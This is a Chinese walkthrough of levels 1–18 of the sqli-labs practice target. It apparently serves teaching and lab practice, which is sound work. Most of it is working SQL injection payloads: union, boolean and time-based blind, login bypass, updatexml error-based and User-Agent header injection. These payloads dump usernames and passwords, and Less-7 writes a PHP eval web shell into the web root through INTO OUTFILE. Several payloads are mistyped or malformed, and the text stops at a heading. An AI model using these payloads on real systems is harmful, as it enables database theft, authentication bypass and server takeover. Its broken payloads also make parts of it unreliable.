sqli-labs SQL注入靶场通关手册(1-20)

实验报告:

Less-1到less-10

前面需要准备打开phpstudy

同时需要再网页上打开http://127.0.0.1/sqli-labs-master/

然后再火狐上下载一个插件Hackbar V2

Less-1:

打开less-1点击f12

Less 1

GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

尝试注入个单引号闭合,网页回显 MySql 报错,说明存在注入漏洞。

?id=1'

接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页回显了正确的信息。也就是说我们注入的单引号起到了一个闭合的作用,这是一个字符型注入。

?id=1'--+

获取数据库信息

接下来判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

?id=1' ORDER BY 3--+

测试到第 4 列无回显,说明表中一共有 3 列。

?id=1' ORDER BY 4--+

接下来判断哪些列是我们能用的,首先令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99' UNION SELECT 1,2,3--+

接下来开始爆数据库名,我们选择第 2 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。

?id=99' UNION SELECT 1,database(),3 --+

接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果。

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

接下来爆 users 表的字段,在 information_schema.columns 爆出来

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

接下来我们爆出 users 表中的信息,这个表有用户名和密码这种敏感信息。

?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

?id=99' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less 2 GET-Error based-Intiger based (基于错误的 GET 整型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

尝试注入个单引号闭合,网页回显 MySql 报错,说明存在注入漏洞。

?id=1'

接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。也就是说我们注入的单引号没有起到闭合的作用,这是一个数字型注入。数字型注入和字符型的区别在于我们不需要用单引号去闭合,其他操作步骤和 Less 1 相同。

?id=1'--+

下面获取数据库信息和目标信息和Less-1一样

Less 3

GET-Error based-Single quotes with twist string (基于错误的 GET 单引号变形字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

http://127.0.0.1/sqli-labs-master/Less-3/?id=1

尝试注入个单引号闭合,网页回显 MySql 报错,说明存在注入漏洞。

?id=1'

根据报错信息我们需要一个括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。

?id=1')--+

获取数据库信息

判断表有几行?

?id=1') ORDER BY 3--+

测试到第 4 列无回显,说明表中一共有 3 列。

?id=1') ORDER BY 4--+

判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99') UNION SELECT 1,2,3--+

爆数据库名,我们选择第 2 个位置作为显示位。

?id=99') UNION SELECT 1,database(),3 --+
爆表名:

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

爆 users 表的字段:

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

爆出 users 表中的信息。

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

?id=99') UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less 4

GET-Error based-Double Quotes-String(基于错误的 GET 双引号字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

http://127.0.0.1/sqli-labs-master/Less-4/?id=1

尝试注入个单引号闭合,网页回显正确的信息。

?id=1'

尝试注入个双引号闭合,MySql 报错,说明存在注入漏洞。

?id=1"

根据报错信息我们需要使用双引号和括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。

?id=1")--+

获取数据库信息

判断表有几列?

?id=1'') ORDER BY 3--+

测试到第 4 列无回显,说明表中一共有 3 列。

?id=1'') ORDER BY 4--+

判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99'') UNION SELECT 1,2,3--+

爆数据库名,我们选择第 2 个位置作为显示位。

?id=99'') UNION SELECT 1,database(),3 --+
爆表名:

?id=99'') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

?id=99'') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

爆 users 表的字段:

?id=99'') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

?id=99'v) union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

爆出 users 表中的信息。

?id=99'') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

?id=99'') UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less-5

GET-Double Injection-Single Quotes-String(双注入 GET 单引号字符型注入)

判断注入类型

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

?id=1

接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

?id=9999

判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页返回报错信息。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。

?id=1'

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

?id=1' ORDER BY 3--+

?id=1' ORDER BY 4--+

老样子还是表有3行

得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

?id=1' AND LENGTH((SELECT database()))>5--+

?id=1' AND LENGTH((SELECT database()))=8--+

经过二分法测试,得出数据库长度为 8。

从a到z慢慢试最后得到

?id=1' AND LEFT((SELECT database()), 8)='security' --+

获取目标信息

和Less-1一样

Less-6

GET-Double Injection-Double Quotes-String(双注入 GET 双引号字符型注入)

判断注入类型

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

?id=1

接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

?id=9999

判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页返回 “You are in...”。

?id=1'

注入个双引号进行闭合,网页返回错误。这说明网页存在 Sql 注入漏洞,并且是用双引号字符型注入。

?id=1"

获取数据库信息

Less 6 和 Less 5 类似,不同在于 Less 6 使用双引号进行闭合。判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

?id=1" ORDER BY 3--+

?id=1" ORDER BY 4--+

得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

?id=9999" OR LENGTH((SELECT database()))>5--+

?id=9999" OR LENGTH((SELECT database()))=8--+

得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

?id=1'' AND LENGTH((SELECT database()))>5--+

?id=1'' AND LENGTH((SELECT database()))=8--+

经过二分法测试,得出数据库长度为 8。

从a到z慢慢试最后得到

?id=1'' AND LEFT((SELECT database()), 8)='security' --+

获取目标信息

和Less-5一样将 ' 变成 ''

Less-7

开启文件读写权限

通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。

D:\phpStudy\MySQL

判断注入类型

?id=1

注入单引号和单引号加个括号闭合,网页回显错误信息。

?id=1'

?id=1')

?id=1'))

写入文件

我们需要先知道网页所在的文件路径,从 Less 7 是没办法得知的,所以我们转去 Less 1 获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。

http://127.0.0.1/sqli-labs-master/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下写入一句话木马。注意此处存在转义的问题,所有的 “\” 都要双写。

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["s"]);?>' into outfile "D:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\p.php"--+

虽然网页显示错误,但是打开文件发现成功写入。

WebShell

使用蚁剑连接,记得 url 要加上我们传入的 text.php。

Less 8

GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)

判断注入类型

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。

?id=9999

判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页无任何返回。

?id=1'

此时还是注入单引号,但是把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注漏洞。

?id=1'--+

获取数据库信息

和 Less 5 不同在于 Less 8 查询发生错误时不会报错,不过基本的操作与 Less 5 类似。首先判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

?id=1' ORDER BY 3--+

?id=1' ORDER BY 4--+

得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

?id=1' AND LENGTH((SELECT database()))>5--+

?id=1' AND LENGTH((SELECT database()))=8--+

使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

?id=1' AND LEFT((SELECT database()), 1)='a' --+

?id=1' AND LEFT((SELECT database()), 1)='s' --+

获取目标信息

和Less-5一样获取

Less-9

GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)

判断注入类型

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1

接下来注入个查不到的参数,网页还是返回 “You are in...”。

?id=9999

注入个单引号进行闭合,网页还是返回 “You are in...”。

?id=1'

以下 3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

?id=1'--+

 ?id=1"

?id=1"--+

转换思路,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有异常。

?id=1 and sleep(1)--+

注入如下参数响应时间明显增加,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入漏洞,我们需要使用 sleep() 函数制造时间差进行注入。

?id=1' and sleep(1)--+

获取数据库信息

注入流程与 Less 5 类似,不过这里的判断标准不是会显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或值结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2。

IF(expr, value1, value2)

此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

经过二分法测试,得出数据库长度为 8。

?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

使用 left() 函数判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。

?id=1' AND IF(LEFT((SELECT database()), 1)='a',sleep(1),1)--+

使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+

接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

?id=1' AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

Less-10

GET-Blind-Time based-double quotes(基于时间的双引号盲注)

判断注入类型

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1​编辑

以下 5 种注入都是还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

?id=9999

?id=1'

?id=1'--+

?id=1"

?id=1"--+

为了方便调试这里使用 brup 的重发器,注入以下 2 种参数响应时间没有异常。

?id=1 and sleep(1)--+

?id=1' and sleep(1)--+

使用双引号闭合时,响应时间明显增加,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入漏洞。

?id=1" and sleep(1)--+

获取数据库信息

Less 10 和 Less 9 差不多,知识 Less 10使用双引号进行闭合。此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。

?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+

经过二分法测试,得出数据库长度为 8。

?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+

获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+

使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+

使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),2,1))=102,sleep(1),1)--+

Less 11

POST-Error Based-Single quotes-String(基于错误的POST型单引号字符型注入)。

判断注入类型

我们首先尝试下这个网页的正常用法,输入一个正确的用户名和密码试试,网页显示登陆成功。

接下来直接在 “Username” 中直接注入单引号,网页返回报错信息,说明存在 Sql 注入。

注入万能密码试试,用户名随便写点东西,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示我们注入成功,由于此处使用的是单引号闭合,因此这里是字符型注入。

a' OR 1 = 1#

使用 Brup 抓包,看到网页是通过 POST 方法提交参数,提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit

爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。

uname=a&passwd=a' UNION SELECT 1,group_concat(table_name) FROM

information_schema.tables WHERE table_schema=0x7365637572697479#&submit=Submit

获取目标信息

接下来爆出 users 表中的用户名和密码,构造出 payload 如下。

uname=a&passwd=a' UNION SELECT 1,group_concat(concat_ws(':',username,password)) FROM

security.users#&submit=Submit

Less 12

POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)

判断注入类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并且没有返回报错信息,说明不是用单引号闭合。

a' OR 1 = 1#

注入以下的内容,统统都显示登录失败且无回显。

a') OR 1 = 1#

a')) OR 1 = 1#

使用双引号进行闭合时,发现 MySql 返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对。

a" OR 1 = 1#

添加一个括号,使用双引号闭合,此时网页提示我们登录成功。综上所述,网页存在字符型注入漏洞,并且使用双引号和括号进行闭合。

a") OR 1 = 1#

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

Less 12 仅对字符的闭合方式不同于 Less 11,注入的方式完全相同。判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

uname=a") OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

爆数据库名,注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

uname=a&passwd=a") UNION SELECT 1, database()#&submit=Submit


爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。

uname=a&passwd=a") UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#&submit=Submit

爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。

uname=a&passwd=a") UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'security'#&submit=Submit

获取目标信息

爆出 users 表中的用户名和密码,构造出 payload 如下。

uname=a&passwd=a") UNION SELECT 1,group_concat(concat_ws(":",username,password)) FROM

security.users#&submit=Submit

Less 13

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。

admin' OR 1 = 1#

添加一个括号,使用单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin') OR 1 = 1#

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判断数据库长度。

uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit

经过二分法测试,得出数据库长度为 8。

uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

通过相同的方式进行爆破,最后得出数据库名为 “security”。使用同样的方法继续爆破表名、字段名及其剩余信息。

uname=a') OR LEFT((SELECT database()),8) = 'security'#&passwd=a&submit=Submit

Less 14

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是没有返回语法错误的提示信息。

a' OR 1 = 1#

注入以下的内容,统统都显示登录失败且无回显。

a') OR 1 = 1#

a')) OR 1 = 1#

使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin" OR 1 = 1#

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8

uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit

获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。

使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

uname=a" OR ASCII(SUBSTR((SELECT database()),2,1))=101#&passwd=&submit=Submit

其他和less-13爆出的方式一样把'换成"就可以。

Less 15

POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号POST型盲注)

判断注入类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是并未返回任何信息。

' OR 1 = 1#

尝试使用括号制造报错信息,但是网页仍然没有回显。说明此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行。

') OR 1 = 1#

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

通关 Less 15 采用上述 2 种方式都行,也可以使用时间盲注。判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。

uname=a' OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

得出数据库名的长度,使用 length() 函数得出数据库长度为 8。

uname=a' OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名,使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

uname=a' OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

其它的信息和less-13一样注意是'且没有括号

Less 16

POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)

判断注入类型

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是并未返回任何信息。

' OR 1 = 1#

注入以下的内容,统统提示登录失败。

a') OR 1 = 1# 

a')) OR 1 = 1# 

a" OR 1 = 1#

注入双引号和括号,网页提示登录成功。此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行

") OR 1 = 1#

使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

uname=&passwd=&submit=Submit

获取数据库信息

通关 Less 16 采用上述 2 种方式都行,也可以使用时间盲注。判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。

uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

得出数据库名的长度,使用 length() 函数得出数据库长度为 8。

uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

获取数据库名,使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

和less-13一样爆出表名等信息注意着里是 ") 

Less 17

Less 17 的难点在于关卡有 2 个 SQL 语句,其中一个进行了强效的过滤,我们得想办法发现第二个注入点。同时该关卡可以使用报错注入进行攻击。

判断注入类型

我们先按照这个网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码。

Uer name:admin

New password:ADMIN

切换到 Less 11 验证一下,可以看到此时 admin 用户的密码已经被我们所修改。

Uer name:admin

New password:ADMIN

接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败。

a' OR 1 = 1#

测试一下所有的注入,发现这些注入网页都回显改密失败。

a') OR 1 = 1# 

a')) OR 1 = 1# 

a" OR 1 = 1# a") OR 1 = 1# 

a")) OR 1 = 1#

抓包得知网页需要利用 POST 方法提交的参数格式如下:

uname=&passwd=&submit=Submit

接下来对新密码字段进行闭合测试,使用单引号闭合仍然失败。

uname=a&passwd=a'#&submit=Submit

以下几种注入仍然全部失败。

uname=a&passwd=a')#&submit=Submit

uname=a&passwd=a'))#&submit=Submit 

uname=a&passwd=a"#&submit=Submit

uname=a&passwd=a")#&submit=Submit 

uname=a&passwd=a"))#&submit=Submit

我们切换下思路,之前我们的用户名字段都是随便输入的,现在我们写上一个已知的用户名 admin 再次注入。

uname=admin&passwd=a'&submit=Submit

网页回显改密码成功,并且报了一个语法错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有 2 次查询,第一次是根据 uname 参数进行查询,判断要改密码的用户是否存在。第二次查询时根据要改密码的用户,把 passwd 参数覆盖原密码,这里在第二次查询有注入点。

updatexml() 报错注入

我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:

UPDATEXML (XML_document, XPath_string, new_value);

为了更好地理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySql 版本。

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

为什么可以返回 MySql 版本?因为我们使用单引号闭合了 passwd 参数所在的 Sql 语句的前面的部分,使用 OR 连接的 updatexml() 函数就会被执行。updatexml() 函数会在 “concat("!",version())” 路径下查找 “1”,若查找成功就将其替换为 “2”。不过我们使用 concat() 函数在 verion() 的返回值前加了个 “!”,使得 XPath_string 的内容不符合 Xpath 的规范触发报错,报错回显的内容就是感叹号带上 verison() 函数的返回值。

获取数据库信息

爆库名,利用 updatexml() 报错回显数据库名。

uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit

爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit

爆字段名,继续使用 updatexml() 报错注入。

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

获取目标信息

使用报错注入回显用户名和密码,发现网页回显 “You can't specify target table 'users' for update in FROM clause”。

uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit

这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit

Less 18

POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)

判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

Username:admin

接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

Username:admin

Password:a

判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。

a' OR 1 = 1# 

a') OR 1 = 1# 

a')) OR 1 = 1# 

a" OR 1 = 1# 

a") OR 1 = 1# 

a")) OR 1 = 1#

在密码使用上面的所有注入,网页都回显密码修改失败。

注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。

Ctrl +R 发送到 Repeater

修改 User-Agent 字段 添加一个 ’ 单引号

获取数据库信息

由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。

User-Agent: '#

注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

User-Agent: ''

在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

爆字段名,继续使用 updatexml() 报错注入。

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

获取目标信息

